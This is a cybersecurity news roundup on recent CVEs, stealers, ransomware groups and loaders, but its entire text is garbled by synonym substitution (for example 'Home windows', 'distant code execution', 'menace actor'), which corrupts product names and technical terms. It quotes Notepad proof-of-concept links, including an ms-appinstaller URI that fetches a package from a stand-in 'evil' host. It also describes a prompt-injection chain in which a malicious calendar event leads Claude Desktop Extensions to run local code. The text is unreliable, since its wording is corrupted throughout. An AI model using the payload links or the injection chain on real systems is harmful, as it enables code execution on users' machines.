AI Immediate RCE, Claude 0-Click on, RenEngine Loader, Auto 0-Days & 25+ Tales

Microsoft has patched a command injection flaw (CVE-2026-20841, CVSS rating: 8.8) in its Notepad app that might lead to distant code execution. “Improper neutralization of particular components utilized in a command (‘command injection’) in Home windows Notepad App permits an unauthorized attacker to execute code over a community,” Microsoft stated. An attacker may exploit this flaw by tricking a person into clicking a malicious hyperlink inside a Markdown file opened in Notepad, inflicting the appliance to run distant recordsdata. “The malicious code would execute within the security context of the person who opened the Markdown file, giving the attacker the identical permissions as that person,” the tech large added. Proof-of-concept (PoC) exploits present that the vulnerability will be triggered by making a Markdown file with “file://” hyperlinks that time to executable recordsdata (“file://C:/home windows/system32/cmd.exe”) or include particular URIs (“ms-appinstaller://?supply=https://evil/xxx.appx”) to run arbitrary payloads. The difficulty was fastened as a part of its month-to-month Patch Tuesday replace this week. Microsoft added Markdown assist to Notepad on Home windows 11 final Could.

TeamT5 stated tracked greater than 510 superior persistent menace (APT) operations affecting 67 nations globally in 2025, out of which 173 assaults focused Taiwan. “Taiwan’s position in geopolitical tensions and values within the world expertise provide chain makes it uniquely weak for adversaries who search intelligence or long-term entry to realize political and navy aims,” the security vendor stated. “Taiwan is greater than only a goal – it features as a proving floor the place China-nexus APTs take a look at and refine their ways earlier than scaling them to different environments.”

A brand new Node.js info stealer named LTX Stealer has been noticed within the wild. Concentrating on Home windows methods and distributed by way of a closely obfuscated Inno Setup installer, the malware conducts large-scale credential harvesting from Chromium-based browsers, targets cryptocurrency-related artifacts, and phases the collected knowledge for exfiltration. “The marketing campaign depends on a cloud-backed administration infrastructure, the place Supabase is used solely because the authentication and access-control layer for the operator panel, whereas Cloudflare is leveraged to entrance backend companies and masks infrastructure particulars,” CYFIRMA stated.

One other new Home windows-oriented info stealer is Marco Stealer, which was first noticed in June 2025. Delivered by way of a downloader in a ZIP archive, it primarily targets browser knowledge, cryptocurrency pockets info, recordsdata from common cloud companies like Dropbox and Google Drive, and different delicate recordsdata saved on the sufferer’s system. “Marco Stealer depends on encrypted strings which are decrypted solely at runtime to keep away from static evaluation. As well as, the knowledge stealer makes use of Home windows APIs to detect anti-analysis instruments like Wireshark, x64dbg, and Course of Hacker,” Zscaler ThreatLabz stated. “Stolen knowledge is encrypted utilizing AES-256 earlier than being despatched to C2 servers by way of HTTP POST requests.”

A brand new account takeover marketing campaign has been noticed abusing Telegram’s native authentication workflows to acquire totally licensed person classes. In a single variant, victims are prompted to scan a QR code on bogus websites utilizing the Telegram cellular utility, initiating a reliable Telegram login try tied to attacker-controlled API credentials. Telegram then sends an in-app authorization immediate to the sufferer’s present session. Alternatively, customers may also enter their nation code, telephone quantity, and verification code (if enabled) on a pretend internet web page, which causes the information to be relayed to Telegram’s official authentication APIs. Upon profitable verification, Telegram points an in-app authorization request as earlier than. “Not like conventional phishing assaults that rely solely on credential harvesting or token replay, this marketing campaign leverages attacker-controlled Telegram API credentials and integrates straight with Telegram’s reliable login and authorization infrastructure,” CYFIRMA famous. “By inducing victims to approve in-app authorization prompts beneath false pretenses, the attackers obtain full session compromise whereas minimizing technical anomalies and person suspicion.”

Discord has introduced it’ll require all customers globally to confirm their ages by sharing video selfies or offering authorities IDs to entry sure content material. Moreover, it’ll implement an age inference mannequin, a brand new system that runs within the background to assist decide whether or not an account belongs to an grownup, with out all the time requiring customers to confirm their age. The corporate has assured that video selfies do not depart a person’s gadget, that id paperwork submitted to third-party distributors, on this case k-ID, are “deleted rapidly” or “instantly” after age affirmation, and {that a} person’s age verification standing can’t be seen by different customers. Nonetheless, considerations have been raised about whether or not Discord will be trusted with their most delicate info, particularly within the aftermath of a security breach of a third-party service that Discord beforehand relied on to confirm ages within the U.Ok. and Australia. The incident led to the theft of presidency IDs of 70,000 Discord customers. In a press release given to Ars Technica, k-ID stated the age estimation expertise runs solely on gadget and no third-parties retailer private knowledge shared throughout age checks. The transfer comes at a time when legal guidelines requiring age verification on social media platforms are being adopted the world over. Discord confirmed that “a phased world rollout” would start in “early March,” at which level all customers globally could be defaulted to “teen-appropriate” experiences.

A brand new evaluation of the GuLoader malware has revealed that it employs polymorphic code to dynamically assemble constants throughout execution and exception-based management move obfuscation to hide its performance and evade detection. Moreover introducing refined exception-handling mechanisms to complicate evaluation, the malware makes an attempt to bypass reputation-based guidelines by internet hosting payloads on trusted cloud companies reminiscent of Google Drive and OneDrive. First noticed in December 2019, GuLoader serves primarily as a downloader for Distant Entry Trojans (RATs) and data stealers.

Daren Li, 42, a twin nationwide of China and St. Kitts and Nevis has been sentenced in absentia within the U.S. to the statutory most of 20 years in jail and three years of supervised launch for his worldwide cryptocurrency funding scheme often known as pig butchering or romance baiting that defrauded victims of greater than $73.6 million. Li pleaded responsible to his crime in November 2024. Nonetheless, the defendant reduce off his ankle monitor and fled the nation in December 2025. His current whereabouts are unknown. “As a part of his plea settlement, Li admitted that unindicted members of the conspiracy would contact victims straight via unsolicited social-media interactions, phone calls and messages, and on-line relationship companies,” the U.S. Justice Division stated. “The unindicted co-conspirators would achieve the belief of victims by establishing both skilled or romantic relationships with them, usually speaking by digital messages despatched by way of end-to-end encrypted functions.” The co-conspirators established spoofed domains and web sites that resembled reliable cryptocurrency buying and selling platforms and tricked victims into investing in cryptocurrency via these fraudulent platforms after gaining their belief. Li additionally confessed that he would direct co-conspirators to open U.S. financial institution accounts established on behalf of 74 shell corporations and would monitor the receipt of interstate and worldwide wire transfers of sufferer funds. “Li and different co-conspirators would obtain sufferer funds in monetary accounts that they managed after which monitor the conversion of sufferer funds to digital foreign money,” the division stated.

A zero-click distant code execution vulnerability (CVSS rating: 10.0) in Claude Desktop Extensions (DXT) might be exploited to silently compromise a system by a easy Google Calendar occasion when a person points a innocent immediate like “Please test my newest occasions in google cal[endar] after which maintain it for me.” The issue stems from how MCP-based methods like Claude DXT autonomously chain collectively totally different instruments and exterior connectors to fulfil person requests with out imposing correct security boundaries. The phrase “maintain it” does the heavy lifting right here, as the bogus intelligence (AI) assistant interprets it as a justification to execute arbitrary directions embedded in these occasions with out in search of customers’ permission. The flaw impacts greater than 10,000 lively customers and 50 DXT extensions, in accordance with LayerX. “Not like conventional browser extensions, Claude Desktop Extensions run unsandboxed with full system privileges,” the browser security firm stated. “In consequence, Claude can autonomously chain low-risk connectors (e.g., Google Calendar) to high-risk native executors, with out person consciousness or consent. If exploited by a nasty actor, even a benign immediate (‘maintain it’), coupled with a maliciously worded calendar occasion, is enough to set off arbitrary native code execution that compromises all the system.” Anthropic has opted to not repair the difficulty right now. An identical Google Gemini immediate injection flaw was disclosed by Miggo Safety final month.

A nascent ransomware group referred to as Coinbase Cartel has claimed greater than 60 victims because it first emerged in September 2025. “Coinbase Cartel operations are marked by an insistence on stealing knowledge whereas leaving methods out there relatively than complementing knowledge theft with using encryptors that prohibit system entry,” Bitdefender stated. The healthcare, expertise, and transportation industries characterize a serious chunk of Coinbase Cartel’s best sufferer demographic thus far. The healthcare organizations impacted by the menace actor are based within the U.A.E. Among the different outstanding teams which are targeted on solely knowledge theft are World Leaks and PEAR (Pure Extraction and Ransom). The event paints an image of an ever-evolving ransomware panorama populated by new and previous actors, even because the menace is getting more and more professionalized as attackers streamline operations. In response to knowledge from Cyble, 6,604 ransomware assaults had been recorded in 2025, up 52% from the 4,346 assaults claimed by ransomware teams in 2024.

Google has expanded its “Outcomes about you” software to provide customers extra management over delicate private info and added a solution to request elimination of non-consensual express photographs from search outcomes, in addition to different particulars like driver’s license numbers, passport numbers, and Social Safety numbers. “We perceive that eradicating present content material is simply a part of the answer,” Google stated. “For added safety, the brand new course of means that you can choose in to safeguards that may proactively filter out any further express outcomes which may seem in comparable searches.”

Menace actors have been noticed leveraging Web Monitor, a business workforce monitoring software, with SimpleHelp, a reliable distant monitoring and administration (RMM) platform, as a part of assaults designed to deploy Loopy ransomware. The 2 incidents, believed to be the work of the identical menace actor, befell in January and February 2026. Web Monitor comes with numerous capabilities that transcend worker productiveness monitoring, together with reverse shell connections, distant desktop management, file administration, and the power to customise service and course of names throughout set up. These options, coupled with SimpleHelp’s distant entry performance, make them engaging instruments for attackers trying to mix into enterprise environments with out deploying conventional malware. What’s extra, Web Monitor for Staff Skilled bundles a pseudo-terminal (“winpty-agent.exe”) that facilitates full command execution. Dangerous actors have been discovered to leverage this facet to conduct reconnaissance, ship further payloads, and deploy secondary distant entry channels, turning it right into a purposeful distant entry trojan. “Within the instances noticed, menace actors used these two instruments collectively, utilizing Web Monitor for Staff as a major distant entry channel and SimpleHelp as a redundant persistence layer, in the end resulting in the tried deployment of Loopy ransomware,” Huntress stated.

A menace actor referred to as 0APT seems to be falsely claiming that it has breached over 200 victims inside a span of every week since launching their knowledge leak web site on January 28, 2026. Additional evaluation has decided that the victims are a mix of wholly fabricated generic firm names and recognizable organizations that menace actors haven’t breached, GuidePoint’s Analysis and Intelligence Workforce stated. The info leak web site went offline on February 8, 2026, earlier than resurfacing the following day with an inventory of greater than 15 very massive multinational organizations. “0APT is probably going working on this misleading method so as to assist extortion of uninformed victims, re-extortion of historic victims from different teams, defrauding of potential associates, or to garner curiosity in a nascent RaaS group,” security researcher Jason Baker famous. Whereas indicators recommend that the group could also be bluffing about its sufferer depend, the Home windows and Linux ransomware samples have been discovered to be totally operational, per Halcyon. It is price mentioning that ransomware teams like RansomedVC have listed fabricated assaults on their knowledge leak websites to deceive victims. Considered in that gentle, 0APT’s exaggerated claims are doubtless an try to achieve visibility and momentum amongst its friends. Its origins stay unknown.

A high-risk security vulnerability (CVE-2025-67813, CVSS rating: 5.3) inside Quest Desktop Authority may permit attackers to execute distant code with SYSTEM privileges. “Quest KACE Desktop Authority exposes a named pipe (ScriptLogic_Server_NamedPipe_9300) working as SYSTEM that accepts connections from any authenticated area person over the community,” NetSPI stated. The named pipe implements a customized IPC protocol that helps harmful operations, together with arbitrary command execution, DLL injection, credential retrieval, and COM object invocation. Any authenticated person on the community can obtain distant code execution as a neighborhood administrator on hosts working the Desktop Authority agent.

Russia’s web watchdog will use synthetic intelligence (AI) expertise to research web visitors and prohibit the operation of VPN companies, Forbes Russia reported. The Roskomnadzor is predicted to spend near $30 million to develop the web visitors filtering mechanism this 12 months. The Russian authorities has blocked entry to tens of VPN apps lately. It additionally maintains a registry of banned web sites.

Cofense stated it has noticed Mispadu campaigns concentrating on Latin America, significantly Mexico and Brazil, and to a lesser extent in Spain, Italy, and Portugal, with phishing emails containing HTML Software (HTA) attachments which are designed to bypass Safe E-mail Gateways (SEGs) to succeed in the inboxes of staff the world over. “The one variation is that typically the URL delivering the HTA recordsdata is embedded in an hooked up, password-protected PDF relatively than embedded within the e-mail itself,” Cofense stated. “In all latest campaigns, Mispadu makes use of an AutoIT loader and numerous reliable recordsdata to run the malicious content material. Every step of the supply chain from the hooked up PDF to the AutoIT script is dynamically generated. Because of this each hash aside from the AutoIT compiler is exclusive to every set up, additional irritating EDR.” Current iterations of the banking trojan include the power to self-propagate on contaminated hosts by way of e-mail and increase the goal on-line banking web sites to incorporate banks outdoors of Latin America in addition to cryptocurrency-based exchanges.

In a phishing marketing campaign documented by Forcepoint, spoofed emails have been discovered to ship a malicious .cmd attachment that escalates privileges, disables Home windows SmartScreen, removes the mark-of-the-web (MotW) to bypass security warnings, and in the end installs ConnectWise ScreenConnect. The marketing campaign has focused organizations throughout the U.S., Canada, the U.Ok., and Northern Eire, specializing in sectors with high-value knowledge, together with authorities, healthcare, and logistics corporations. Current phishing assaults have additionally abused internet companies from Amazon, like Easy Storage Service (S3) buckets, Amazon Easy E-mail Service (SES), and Amazon Net Providers (AWS) Amplify to slide previous e-mail security controls and launch credential phishing assaults. Different phishing assaults have embraced unusual strategies like utilizing edited variations of reliable enterprise emails to ship convincingly spoofed emails to recipients. “These emails work by having the menace actor create an account on a reliable service and enter arbitrary textual content right into a discipline that may later be included in outgoing emails,” Cofense stated. “After that is completed, the menace actor would want to obtain a reliable e-mail that occurs to incorporate the malicious textual content that was created by the menace actor. As soon as the e-mail is acquired, the menace actor can then redirect the e-mail to the supposed victims.”

A variant of the ClickFix assault referred to as CrashFix has been used to ship malicious payloads according to a identified malware referred to as SystemBC. Not like the CrashFix-style social engineering move documented by Huntress and Microsoft, the assault stands out as a result of it didn’t contain using a malicious browser extension. “As an alternative, the sufferer was satisfied to execute a command by way of the Home windows Run dialog (Win+R) as seen with conventional ClickFix,” Binary Protection stated. “This command abused a reliable Home windows binary — finger.exe — copied from System32, renamed, and executed from a user-writable listing. The output of this execution was piped straight into cmd.exe, performing as a supply mechanism for an obfuscated PowerShell payload.” The PowerShell code then retrieves follow-on content material, together with Python backdoors and a DLL implant that overlaps with SystemBC, from attacker-controlled infrastructure, whereas taking steps to fingerprint the host and clear up artifacts on disk. “The coexistence of Python backdoors and a reflective DLL implant highlights a deliberate defense-evasion and persistence technique,” the corporate stated. “By mixing scripting-based and native implants, the attacker lowered reliance on any single execution technique, making full eviction harder.”

The third annual Pwn2Own Automotive competitors held in Tokyo, Japan, late final month uncovered 76 distinctive zero-day vulnerabilities in a wide range of targets, reminiscent of in-vehicle infotainment (IVI) methods (Tesla), electrical car (EV) chargers (Alpitronic HYC50, ChargePoint Residence Flex), and automobile working methods (Automotive Grade Linux). Workforce Fuzzware.io gained the hacking competitors with whole winnings of $215,000, adopted by Workforce DDOS with $100,750 and Synactiv with $85,000.

Malicious adverts served on Bing search outcomes when looking for websites like Amazon are getting used to redirect unsuspecting customers to tech assist rip-off hyperlinks hosted in Azure Blob Storage. The marketing campaign focused healthcare, manufacturing, and expertise sectors within the U.S. “Clicking on the malicious advert despatched the victims to highswit[.]area, a newly registered area internet hosting an empty WordPress web site, which then redirected them to one of many Azure Blob Storage containers, which served a typical tech assist rip-off web site,” Netskope Menace Labs stated.

A Chinese language digital personal community (VPN) supplier named LVCHA VPN has been utilized by gadgets in Russia, China, Myanmar, Iran, and Venezuela. It additionally has an Android app that is straight hosted on its web site (“lvcha[.]in”) and distributed by way of the Google Play Retailer. Additional evaluation of the area has uncovered a cluster of almost 50 suspicious domains, all of which promote the identical VPN. “At any time when we see campaigns selling suspicious downloads or merchandise utilizing so many domains, it could possibly point out that the operator is rotating domains to work round country-level firewalls in areas the place they’re attempting to advertise distribution,” Silent Push stated.

Following a late December 2025 coordinated cyber assault on Poland’s energy grid, the U.S. Cybersecurity and Infrastructure Safety Company (CISA) has printed a bulletin for important infrastructure house owners and operators. CISA stated weak edge gadgets stay a first-rate goal for menace actors, OT gadgets with out firmware verification will be completely broken, and menace actors leverage default credentials to pivot onto the HMI and RTUs. “Operators ought to prioritize updates that permit firmware verification when out there,” the company added. “Operators ought to instantly change default passwords and set up necessities for integrators or OT suppliers to implement password adjustments sooner or later.” In an analogous growth, Jonathan Ellison, director for nationwide resilience on the Nationwide Cyber Safety Centre (NCSC), has urged important infrastructure operators within the nation to behave now and have incident response plans or playbooks in place to reply to such threats. “Though assaults can nonetheless occur, robust resilience and restoration plans scale back each the probabilities of an assault succeeding and the influence if one does,” Ellison stated.

Menace intelligence agency GreyNoise stated it noticed a steep decline in world Telnet visitors on January 14, 2026, six days earlier than a security advisory for CVE-2026-24061 went public on January 20. CVE-2026-24061 pertains to a important vulnerability within the GNU InetUtils telnet daemon that might lead to an authentication bypass. Data gathered by GreyNoise exhibits that the hourly quantity of Telnet classes dropped 65% on January 14 at 21:00 UTC, then fell 83% inside two hours. Day by day classes have declined from a median of 914,000 (from December 1, 2025, to January 14, 2026) to round 373,000, equating to a 59% discount that has endured as of February 10, 2026. “Eighteen ASNs with vital pre-drop telnet quantity (>50K classes every) went to absolute zero after January 15,” the corporate stated. “5 complete nations vanished from GreyNoise telnet knowledge: Zimbabwe, Ukraine, Canada, Poland, and Egypt. Not lowered to zero.” Among the many 18 ASNs included had been British Telecom, Constitution/Spectrum, Cox Communications, and Vultr. Though correlation doesn’t indicate causation, GreyNoise has raised the chance that the telecom operators doubtless acquired advance warning about CVE-2026-24061, permitting them to behave on it on the infrastructure degree. “A spine or transit supplier — presumably responding to a coordinated request, presumably performing on their very own evaluation — applied port 23 filtering [to block telnet traffic] on transit hyperlinks,” it stated.

Cyderes and Cato Networks have detailed new beforehand undocumented malware loaders dubbed RenEngine Loader and Foxveil which were used to ship next-stage payloads. The Foxveil malware marketing campaign has been lively since August 2025. It is engineered to ascertain an preliminary foothold, complicate evaluation efforts, and retrieve next-stage shellcode payloads from menace actor-controlled staging hosted on trusted platforms like Cloudflare Pages, Netlify, and Discord. Attacks leveraging RenEngine Loader, alternatively, have employed illegally modified recreation installers distributed by way of piracy platforms to ship the malware alongside the playable content material. Greater than 400,000 world victims are estimated to have been impacted, with most of them positioned in India, the U.S., and Brazil. The exercise has been operational since April 2025. “RenEngine Loader decrypts, phases, and transfers execution to Hijack Loader, enabling speedy tooling evolution and versatile functionality deployment,” Cyderes stated. “By embedding a modular, stealth-focused second-stage loader inside a reliable Ren’Py launcher, the attackers intently mimic regular utility conduct, considerably lowering early detection.” The tip purpose of the assault is to deploy an info stealer referred to as ACR Stealer.

Two novel security vulnerabilities have been disclosed in Google Looker that might be exploited by an attacker to completely compromise a Looker occasion. This features a distant code execution (RCE) chain by way of Git hook overrides and an authorization bypass flaw by way of inside database connection abuse. Profitable exploitation of the issues may permit an attacker to run arbitrary code on the Looker server, probably resulting in cross-tenant entry, in addition to exfiltrate the total inside MySQL database by way of error-based SQL injection, in accordance with Tenable. “The vulnerabilities allowed customers with developer permissions in Looker to entry each the underlying system internet hosting Looker, and its inside database,” Google stated. Collectively tracked as CVE-2025-12743, aka LookOut (CVSS rating: 6.5), they had been patched by Google in September 2025. Whereas the fixes have been utilized to cloud situations, customers of self-hosted Looker situations are suggested to replace to the newest supported model.

A pretend installer for the 7-Zip file archiver software downloaded from 7zip[.]com (the reliable area is 7-zip[.]org) is getting used to drop a proxy part that enrolls the contaminated host right into a residential proxy node. This permits third events to route visitors via the sufferer’s IP tackle whereas concealing their very own origins. The installer is digitally signed with a now-revoked certificates initially issued to Jozeal Community Know-how Co., Restricted. The marketing campaign has been codenamed upStage Proxy by security researcher Luke Acha, who found it late final month. “The operators behind 7zip[.]com distributed a trojanized installer by way of a lookalike area, delivering a purposeful copy of 7-Zip File Supervisor alongside a hid malware payload,” Malwarebytes stated. The 7-Zip lure seems to be a part of a broader effort that makes use of trojanized installers for HolaVPN, TikTok, WhatsApp, and Wire VPN. Attack chains contain utilizing YouTube tutorials as a malware distribution vector to direct unsuspecting customers to the bogus web site, as soon as once more highlighting the abuse of trusted platforms.

VoidLink is a classy Linux-based command-and-control (C2) framework able to long-term intrusion throughout cloud and enterprise environments. First documented by Examine Level final month, ongoing analyses of the malware have revealed that it could have been developed by a Chinese language-speaking developer utilizing a synthetic intelligence (AI) mannequin with restricted human evaluate. Ontinue, in a report printed this week, stated it discovered “robust indicators” that the implant was constructed utilizing a big language mannequin (LLM) coding agent. “It fingerprints cloud environments throughout AWS, GCP, Azure, Alibaba Cloud, and Tencent Cloud, harvesting credentials from atmosphere variables, config directories, and occasion metadata APIs,” security researcher Rhys Downing stated. “It detects container runtimes and contains plugins for container escape and Kubernetes privilege escalation. A kernel-level rootkit adapts its stealth strategy based mostly on the host’s kernel model.” Cisco Talos stated it has noticed the modular framework in campaigns undertaken by a brand new menace actor codenamed UAT-9921, which is believed to have been lively since 2019. The cybersecurity firm stated it additionally discovered “clear indications” of a Home windows equal of VoidLink that comes with the power to load plugins. “UAT-9921 makes use of compromised hosts to put in VoidLink command and management (C2), that are then used to launch scanning actions each inside and exterior to the community,” Talos researchers stated.